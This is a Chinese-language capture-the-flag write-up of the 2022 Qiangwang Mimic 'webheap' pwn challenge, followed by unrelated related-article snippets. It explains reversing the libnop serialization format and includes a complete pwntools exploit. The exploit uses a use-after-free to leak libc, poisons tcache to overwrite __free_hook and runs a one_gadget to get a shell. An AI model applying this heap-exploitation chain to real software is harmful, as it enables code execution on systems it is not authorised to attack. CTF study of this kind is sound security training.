2022强网拟态pwn-webheap

news2024/9/20 17:50:34

2022强网拟态pwn-webheap

这题的逻辑是一开始笔者硬逆给逆出来了,但是后面在Ex师傅的点播下成功的在github上找到了这个的原生项目
https://github.com/google/libnop
在这里插入图片描述
在审计的过程中发现了至关重要的信息,发现和逆向的格式一样的东西,就是上面的encoding_byte
首先在逆向中发现第一个必需要满足下面这个条件
在这里插入图片描述
在这里插入图片描述
笔者在调试的时候成功发现了char类型的溢出,-127~128,而-71对应的是0xb9,所以笔者后面在GitHub的那个项目上成功找到了,序列化的实例
在这里插入图片描述
上面给出10, “foo”,下面的compose的第一个就是0xb9,第二个是有几个参数,第三个是第一个参数的值,第四个是string类型,第五个是对应的foo的长度,第6个是foo这个字符串
所以笔者就配合前期逆向,顺着这上面的初步写了一个序列化实例
p8(0xb9) + p8(0x5) + p8(opt) + p8(index) + p8(0x82) + p32(size) + p8(0xbd) + p8(0x82) + p32(len(content)) + content
这个opt就是add,delete等的选择如下
在这里插入图片描述
0代表add,1代表show,序列化格式满足之后就会通过opt跳到这些处理函数中
index代表的是上图中的index,p8(0x82)代表后面要接一个p32的数据(这些都可以在上面的encoding_byte中找到是什么意思)p8(0xbd)代表的是字符串,接着后面会接content的长度和content,遵循上面的反序列化格式即可
在这里插入图片描述
但是直接这样的话会报STREAM error这个错误,笔者思考了一下发现后面可能要接上一个0来确定停止
在这里插入图片描述
p8(0xb9) + p8(0x5) + p8(opt) + p8(index) + p8(0x82) + p32(size) + p8(0xbd) + p8(0x82) + p32(len(content)) + content + p8(0)
最终如上构造就可以正常调用了
漏洞点的话出在delete中,一个uaf
在这里插入图片描述
笔者直接用的本机20.04的2.31 libc
简述一下笔者硬逆的过程
在这里插入图片描述
首先格式都在这个函数中,必须满足num0=-71,也就是0xb9,然后跟进442a函数里
在这里插入图片描述
接着又套着多个函数,如果格式不正确,会报一个0xe的错误也就是stream error了
在这里插入图片描述
在37e9中里可以逆出0x83这些东西
在这里插入图片描述
接着又可以在3c1f里逆出0x86这些东西
在这里插入图片描述
总的来说就是一层套一层很烦,然后再加上c++所以硬逆很费时间

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './webheap'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote()
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def Serial(opt, index, size, content):
    p1 = p8(0xb9) + p8(0x5) + p8(opt) + p8(index) + p8(0x82) + p32(size) + p8(0xbd) + p8(0x82) + p32(len(content)) + content + p8(0)
    r.sendlineafter('Packet length: ', str(len(p1)))
    r.sendafter('Content: ', p1)

def add(index, size):
    Serial(0, index, size, b'')

def show(index):
    Serial(1, index, 0, b'')

def delete(index):
    Serial(2, index, 0, b'')

def edit(index, content):
    Serial(3, index, 0, content)

add(0, 0x430)

add(1, 0x50)

delete(0)

show(0)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))

one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = one[1] + libc_base

add(2, 0x68)
add(3, 0x68)
add(4, 0x68)

delete(2)
delete(3)

edit(3, p64(free_hook))
add(5, 0x68)
add(6, 0x68)
edit(6, p64(one_gadget))

r.interactive()

在这里插入图片描述
笔者看到了wjh师傅的exp,wjh师傅的思路也可以学习一下,改了一下项目的cpp和py,然后生成了so文件,就可以直接调用了
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/22099.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

BCN-PEG2-Mal,BCN-OH,endo-BCN-PEG2-BiotinBCN几种衍生物的特点

BCN-PEG 是一类具有双环[6.1.0]壬炔的 PEG 接头。它用于叠氮化物反应性无铜点击化学。BCN在没有催化剂的情况下很容易与叠氮官能化化合物或生物分子反应形成稳定的三唑键,PEG间隔物增加了所得化合物的水溶性。今天这一章西安凯新生物科技有限公司​主要为大家分享BC…

多段曲线控温从Simulink仿真到PLC控制实现

多段曲线温度控制,专栏有系列文章和完整源代码,大家可以自行搜索。链接如下: 博途PLC 1200/1500PLC多段曲线控温FB(支持40段控温曲线、段曲线搜索、暂停、跳段等功能)_RXXW_Dor的博客-CSDN博客多段控温曲线之前专栏的其它文章也有所讲解,大家可以参看下面这篇专栏博途1200…

Get CLI - 强大的项目管理 GetX 工具

Get CLI - 强大的项目管理 GetX 工具 https://shirsh94.medium.com/get-cli-powerful-getx-tool-for-project-management-bdf54572d91f 前言 一个来自 Getx 的工具可以帮助你快速的建立项目,页面和视图。 大家好,在本文中,我将讨论 get CLI 工…

PTA题目 奇偶分家

给定N个正整数,请统计奇数和偶数各有多少个? 输入格式: 输入第一行给出一个正整N(≤1000);第2行给出N个非负整数,以空格分隔。 输出格式: 在一行中先后输出奇数的个数、偶数的个…

深度学习中常见概念(收敛、优化器、学习率等)

收敛 打个简单的比方,训练网络模型,就好比解方程,为了得到这个方程的极值点,训练的过程就好比是找准一个方向,不断的朝这个方向靠近,使得方程的值不断减小,最终达到极值点,而不收敛&#xff0c…

微型计算机基础(常用术语,总线,系统组成)

目录 微型计算机常用术语 计算机系统 基本组成图​编辑 Cache(内存和CPU之间) 虚存(内存和外存之间 ) CPU是微机的核心部件,具有运算和控制功能 总线 数据中线DB(Data Bus) &#xff0…

kubernetes集群配置默认存储类(nfs)

文章目录概述安装nfs服务端node节点上安装启动nfs配置StorageClass创建Deployment创建ServiceAccount创建StorageClass对象创建资源对象常见问题参考文档概述 StorageClass 为管理员提供了描述存储 “类” 的方法。 不同的类型可能会映射到不同的服务质量等级或备份策略&#x…

钙通道阻滞剂/拮抗剂的应用 | MedChemExpress

我们都知道钙、钾、钠离子对于维持个体内环境的重要性,离子通道一直是个有趣而复杂的话题。它们就像为某种物质专属定制的“门”或 VIP 通道,不仅分类繁多,还有着严密的“门控”机制。每个细胞都像一个电池,正常状态下&#xff0c…

SpringBoot SpringBoot 开发实用篇 5 整合第三方技术 5.10 jetcache 本地缓存方案

SpringBoot 【黑马程序员SpringBoot2全套视频教程,springboot零基础到项目实战(spring boot2完整版)】 SpringBoot 开发实用篇 文章目录SpringBootSpringBoot 开发实用篇5 整合第三方技术5.10 jetcache 本地缓存方案5.10.1 使用 jetcache 实…

【Java高级】一篇文章带你学会什么是注解

目录 注解概述 | Java内置的三个注解 Deprecated Override SuppressWarnings | 元注解 Target Retention(注解生命周期) Documented Inherited Repeatable(JDK1.8) | 自定义注解 自定义注解的概述 自定义注解的步骤…

货币政策传导与货币政策调控-中国视角下的宏观经济

货币政策传导与货币政策调控-潘登同学的宏观经济学笔记 文章目录货币政策传导与货币政策调控-潘登同学的宏观经济学笔记货币传导路径货币是银行的负债——货币的“形而下”定义贷款创造存款货币乘数货币就是记忆(money is memory)——货币的“形而上”定…

libevent库

libevent介绍 1 事件驱动, 高性能, 轻量级, 专注于网络 2 源代码精炼, 易读 3 跨平台 4 支持多种I/O多路复用技术, 如epoll select poll等 5 支持I/O和信号等事件 libevent的核心实现: 在linux上, 其实质就是epoll反应堆. libevent是事件驱动, epoll反应堆也是事件驱动, 当要…

硬件基础 -- D/A数字模拟信号

D/A 需要数位模拟开关 如果开关打卡,则此位电压参与运算 如果开关关闭,则此位电压0V参与运算 转换过程中需要将数字数字量锁存 转换过程 模拟量转数字量需要比较器 数字量转模拟量需要运放 #mermaid-svg-wJVhc3DQ619gtYuZ {font-family:"trebuchet …

【计算机毕业设计】6.超市仓库管理系统+vue

一、系统截图(需要演示视频可以私聊) 基于B/S的超市进销存管理系统的设计与实现 摘 要:开发本超市进销存管理系统的主要目标是方便企业对商品、客户和员工信息的实时掌控,提高企业的工作效率。本系统是采用java开发的一个基于B/S…

渗透测试——基于SQL注入拿到webshell

作者名:Demo不是emo 主页面链接:主页传送门创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷座右…

spring整合struts2

因为最近工作的需要不得不学习struts2,整理了一下spring整合struts2的过程 需要详细了解struts2的朋友可以自行百度,这里只是简单的讲述如何使用 我是用的是idea进行项目构建的,eclipse的话可以自己百度一下 struts的官网:https:…

PTA题目 阶梯电价

为了提倡居民节约用电,某省电力公司执行“阶梯电价”,安装一户一表的居民用户电价分为两个“阶梯”:月用电量50千瓦时(含50千瓦时)以内的,电价为0.53元/千瓦时;超过50千瓦时的,超出部…

前缀和【一维前缀和与二维前缀和】

全文目录😀 一维前缀和🤔 构建一维前缀和数组😵‍💫 子序列的和😀 二维前缀和🤔 构建二维前缀和数组😵‍💫 子矩阵的和😀 一维前缀和 一维前缀和很简单,就是…

[附源码]java毕业设计铁路法院数字档案管理系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

[附源码]java毕业设计网上花店系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…